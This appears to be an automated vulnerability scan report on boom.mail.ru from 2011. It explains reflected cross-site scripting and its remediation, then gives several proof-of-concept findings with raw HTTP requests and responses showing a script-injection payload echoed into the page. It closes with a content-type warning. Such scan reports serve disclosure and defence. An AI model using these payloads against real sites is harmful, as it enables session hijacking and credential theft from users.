Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f372d"><script>alert(1)</script>b94c560180b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.icof372d"><script>alert(1)</script>b94c560180b HTTP/1.1 Host: boom.mail.ru User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
Response
HTTP/1.1 404 Not Found Server: nginx/1.0.5 Date: Mon, 15 Aug 2011 16:51:55 GMT Content-Type: text/html; charset=windows-1251 Connection: keep-alive Status: 404 Not Found Content-Length: 40231
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <head> ...[SNIP]... <input name="from" type="hidden" value="http://boom.mail.ru/favicon.icof372d"><script>alert(1)</script>b94c560180b" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a29d"><script>alert(1)</script>03f845cec4e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: nginx/1.0.5 Date: Mon, 15 Aug 2011 16:49:40 GMT Content-Type: text/html; charset=windows-1251 Connection: keep-alive Status: 404 Not Found Content-Length: 39082
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <head> ...[SNIP]... <input name="from" type="hidden" value="http://boom.mail.ru/js2a29d"><script>alert(1)</script>03f845cec4e/boomthis.js" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7c59d"><script>alert(1)</script>8ed08c63498 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 404 Not Found Server: nginx/1.0.5 Date: Mon, 15 Aug 2011 16:49:43 GMT Content-Type: text/html; charset=windows-1251 Connection: keep-alive Status: 404 Not Found Content-Length: 40246
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <head> ...[SNIP]... <input name="from" type="hidden" value="http://boom.mail.ru/js/boomthis.js7c59d"><script>alert(1)</script>8ed08c63498" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 71aa4"><script>alert(1)</script>ae11beb1bbc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /js71aa4"><script>alert(1)</script>ae11beb1bbc/script.js HTTP/1.1 Host: boom.mail.ru User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://boom.mail.ru/js2a29d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E03f845cec4e/boomthis.js
Response
HTTP/1.1 404 Not Found Server: nginx/1.0.5 Date: Mon, 15 Aug 2011 16:51:49 GMT Content-Type: text/html; charset=windows-1251 Connection: keep-alive Status: 404 Not Found Content-Length: 40234
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <head> ...[SNIP]... <input name="from" type="hidden" value="http://boom.mail.ru/js71aa4"><script>alert(1)</script>ae11beb1bbc/script.js" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload de051"><script>alert(1)</script>76c43a22167 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /js/script.jsde051"><script>alert(1)</script>76c43a22167 HTTP/1.1 Host: boom.mail.ru User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://boom.mail.ru/js2a29d%22%3E%3Cscript%3Ealert(document.location)%3C/script%3E03f845cec4e/boomthis.js
Response
HTTP/1.1 404 Not Found Server: nginx/1.0.5 Date: Mon, 15 Aug 2011 16:51:51 GMT Content-Type: text/html; charset=windows-1251 Connection: keep-alive Status: 404 Not Found Content-Length: 40232
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <head> ...[SNIP]... <input name="from" type="hidden" value="http://boom.mail.ru/js/script.jsde051"><script>alert(1)</script>76c43a22167" /> ...[SNIP]...
2. Content type incorrectly statedprevious There are 2 instances of this issue:
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
